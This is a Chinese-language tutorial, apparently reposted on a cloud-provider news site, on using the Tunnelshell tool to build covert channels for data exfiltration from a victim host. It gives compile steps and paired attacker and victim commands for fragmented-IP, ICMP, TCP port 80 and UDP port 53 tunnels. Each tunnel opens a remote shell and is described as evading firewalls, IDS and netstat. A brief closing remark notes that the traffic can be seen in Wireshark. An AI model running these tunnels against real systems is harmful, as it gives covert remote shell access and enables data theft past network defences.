溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

發(fā)布時間:2021-11-25 15:44:18 來源:億速云 閱讀:135 作者:柒染 欄目:編程語言

本篇文章為大家展示了如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù),內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

什么是隱蔽信道(covert channel)

隱蔽一詞意味著“隱藏或不可檢測”,而信道是“通信模式”,因此隱蔽信道表示不可檢測的通信網(wǎng)絡(luò)。了解加密通信和隱蔽通信之間的區(qū)別非常重要。在隱蔽通信中,數(shù)據(jù)流被未經(jīng)授權(quán)的一方篡改和持久。然而,加密通信并不掩蓋通過加密在兩個端點(diǎn)之間傳輸?shù)臄?shù)據(jù)進(jìn)行通信的事實(shí)。

covert channel 的類型

網(wǎng)絡(luò)隱蔽存儲信道:發(fā)送者直接或間接些目標(biāo)值,接收者直接或間接接讀目標(biāo)值。

網(wǎng)絡(luò)隱蔽時間信道:發(fā)送者通過時域上調(diào)制使用資源(例如CPU)發(fā)送信息,接收者能夠觀測到并對信息進(jìn)行解碼。

與存儲隱蔽信道相比,時間隱蔽信道又稱為無記憶通道,它不能長久存儲信息。發(fā)送者發(fā)送的信息接收者必須及時接受,否則傳送的信息將會消失。

使用 Tunnelshell 進(jìn)行隱蔽信道攻擊

幾乎可以使用任何協(xié)議來建立隱蔽信道。絕大多數(shù)隱蔽信道研究都是基于第3層(網(wǎng)絡(luò))和第4層(傳輸)協(xié)議,如ICMP,IP和TCP。經(jīng)常使用的還有第7層(應(yīng)用)協(xié)議諸如HTTP和DNS。這種機(jī)制用于在不提醒網(wǎng)絡(luò)防火墻和IDS的情況下傳送信息,而且netstat無法檢測到。

Tunnelshell 簡介

Tunnelshell是一個用C編寫的程序適用于Linux用戶,它使用客戶端 - 服務(wù)器范例。服務(wù)器打開/bin/sh客戶端可以通過虛擬隧道進(jìn)行訪問。它支持多種協(xié)議,包括TCP,UDP,ICMP和RawIP。此外,數(shù)據(jù)包可以分段處理以躲避防火墻和IDS的檢測。

實(shí)驗(yàn)環(huán)境

服務(wù)器(Kali Linux)

客戶端(Ubuntu18.04)

Tunnelshell

這里,假設(shè)我們已經(jīng)通過c2服務(wù)器與受害者機(jī)器建立了會話?,F(xiàn)在,我們需要為數(shù)據(jù)泄露創(chuàng)建一個隱藏的信道,因此我們需要在兩個端點(diǎn)上安裝tunnelshell。

下載后,解壓縮文件并進(jìn)行編譯,如下所示:

tar xvfz tunnelshell_2.3.tgz
make

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

同樣,在另一個端點(diǎn)(受害者的機(jī)器)重復(fù)相同的操作,完成后在終端中執(zhí)行以下命令,打開服務(wù)器的信道(Attacker)。

sudo ./tunneld

默認(rèn)情況下,它會發(fā)送分段數(shù)據(jù)包,該數(shù)據(jù)包會在目標(biāo)端點(diǎn)重組以躲避防火墻和IDS。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

現(xiàn)在要與tunnelshell連接,我們需要在服務(wù)器(攻擊者的機(jī)器)上執(zhí)行以下命令,該命令將建立用于數(shù)據(jù)泄露的隱蔽信道。

語法: ./tunnel -i <session id (0-65535)> -d <包發(fā)送延遲> -s <packet size> -t <tunnel 類型> -o <protocol> -p <port> -m <ICMP 查詢> -a <ppp 接口> <受害者 IP>

./tunnel -t frag 10.10.10.2

frag:使用IPv4分段數(shù)據(jù)包來封裝數(shù)據(jù)。當(dāng)某些路由器和防火墻(如Cisco路由器和默認(rèn)Linux安裝)收到第四層沒有標(biāo)頭的分段數(shù)據(jù)包時,即使它們有拒絕它的規(guī)則,也會允許它們通過。可以看到它已成功連接到10.10.10.2,我們將訪問受害者機(jī)器的shell。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

正如我說的那樣,如果你使用network statics檢查網(wǎng)絡(luò)連接狀態(tài),你將不會看到任何關(guān)于tunnelshell的進(jìn)程ID。從下圖中你可以看到,在ps命令的幫助下我已經(jīng)檢查了tunnelshell的進(jìn)程,并嘗試通過netstat檢查其進(jìn)程ID。

ps |grep .tunneld
netstat –ano

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

讓我們通過Wireshark來看看10.10.10.1(攻擊者的IP)和10. 10.10.2(受害者的IP)之間產(chǎn)生的網(wǎng)絡(luò)流量。網(wǎng)絡(luò)流在兩個端點(diǎn)之間看起來像是一般的流量,但如果正確監(jiān)視,則網(wǎng)絡(luò)管理員可以嗅探到數(shù)據(jù)包。正如你所看到的,Wireshark捕獲了隱蔽的流量并嗅探到了在兩個端點(diǎn)設(shè)備之間傳輸?shù)臄?shù)據(jù)。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

隱蔽的 ICMP 信道

我們知道Ping是使用ICMP通信的,通過發(fā)出icmp echo request包,收到icmp  echo reply包在兩臺主機(jī)之間建立連接。因此,執(zhí)行以下命令:

sudo ./tunneld -t icmp -m echo-reply, echo

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

現(xiàn)在要與tunnelshell連接,我們需要在服務(wù)器(攻擊者的機(jī)器)上執(zhí)行以下命令,該命令將建立用于數(shù)據(jù)泄露的隱蔽信道。

./tunnel -t icmp -m echo-reply,echo 10.10.10.2

正如你看到的它已成功連接到10.10.10.2,并且攻擊者能夠訪問受害者計(jì)算機(jī)的shell。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

同樣,如果你通過Wireshark捕獲流量,那么你將會注意到ICMP echo request和reply數(shù)據(jù)包正在兩個端點(diǎn)之間傳輸。如果你嘗試分析這些數(shù)據(jù)包,那么你將能夠看到哪種payload被作為ICMP數(shù)據(jù)正在傳輸。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

隱蔽的 HTTP 信道

在沒有三步握手的情況下它建立了一個虛擬的TCP連接,也不綁定任何端口,因此你可以使用已經(jīng)由另一個進(jìn)程使用的端口,執(zhí)行以下命令:

sudo  ./tunneld -t tcp -p 80,2000

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

現(xiàn)在要與tunnelshell連接,我們需要在服務(wù)器(攻擊者的機(jī)器)上執(zhí)行以下命令,該命令將建立用于數(shù)據(jù)泄露的隱蔽信道。

./tunnel -t tcp -p 80,2000 10.10.10.2

正如你看到的,它已成功連接到了10.10.10.2,并且攻擊者能夠再次訪問受害者計(jì)算機(jī)的shell。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

通過網(wǎng)絡(luò)流量你可以看到源和目標(biāo)之間建立了tcp通信,但并沒有真正的三步握手。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

隱蔽的 DNS 信道

要建立DNS隱蔽信道,我們需要在兩個端點(diǎn)機(jī)器上運(yùn)行UDP隧道模式。因此,在受害者的機(jī)器上我們執(zhí)行以下命令:

sudo ./tunneld -t udp -p 53,2000

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

同樣,在你的(攻擊者)機(jī)器上執(zhí)行以下命令以連接隧道。

./tunnel -t udp -p 53,2000 10.10.10.2

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

正如你所看到的,DNS錯誤數(shù)據(jù)包包含在兩個端點(diǎn)機(jī)器之間傳輸?shù)臄?shù)據(jù)。

如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù)

隱蔽信道在數(shù)據(jù)泄露時不會發(fā)送加密的數(shù)據(jù)包,因此它很容易被嗅探到,網(wǎng)絡(luò)管理員可以輕松的進(jìn)行數(shù)據(jù)丟失防護(hù)和風(fēng)險管理。

上述內(nèi)容就是如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù),你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI